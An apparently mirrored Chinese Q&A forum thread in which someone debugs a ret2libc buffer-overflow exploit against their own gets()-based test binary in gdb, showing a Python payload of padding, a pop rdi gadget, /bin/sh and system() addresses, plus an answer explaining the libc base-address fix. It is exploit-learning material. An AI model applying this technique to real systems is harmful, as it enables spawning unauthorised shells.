gdb读取错误的输入(标准输入)值

2024-09-25 02:38:23 发布

您现在位置:Python中文网/ 问答频道 /正文

我在gdb中为ret2libc输入以下内容

(gdb) r < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/kali/Desktop/c_system/a < <(python -c 'print("\x41"*10 + "\x42"*8 + "\xde\x67\x02\x00\x00\x00\x00\x00" + "\xac\xb1\xf7\f7\xff\x7f\x00\x00" + "\xa0\x08\xe4\xf7\xff\x7f\x00\x00")')

当我检查内存时,它在0x267de之后显示了错误的值

(gdb) x/4g $rbp
0x7fffffffe190: 0x4242424242424242      0x00000000000267de
0x7fffffffe1a0: 0x007fff370cf7b1ac      0x007ffff7e408a000

所有地址都正确,最后程序以分段错误结束

AAAAAAAAAABBBBBBBB�g


Program received signal SIGSEGV, Segmentation fault.
0x00000000000267de in ?? ()

选择的小工具是pop rdi;ret,它位于0x267de/bin/sh位于0x7ffff7f7b1acsystem()位于0x7ffff7e408a0。gets()用于输入缓冲区,缓冲区长度为10字节,源代码中不存在其他变量

为什么显示错误的值


Tags: 错误printx00x02x7fxffgdbxde
1条回答
网友
1楼 · 发布于 2024-09-25 02:38:23

正如@Mark Plotnick所说0x267de是小工具pop rdi; ret的偏移量。因此,为了找到小工具的正确地址,必须将偏移量与基址相加。我使用radare2查找加载libc路径作为二进制路径的小工具。这意味着libc的基址就是gadget的基址。为了找到libc的基址,我在gdb中使用了info proc map。还有其他方法可以找到libc的基址。当使用此地址时,地址显示问题得到解决

相关问题 更多 >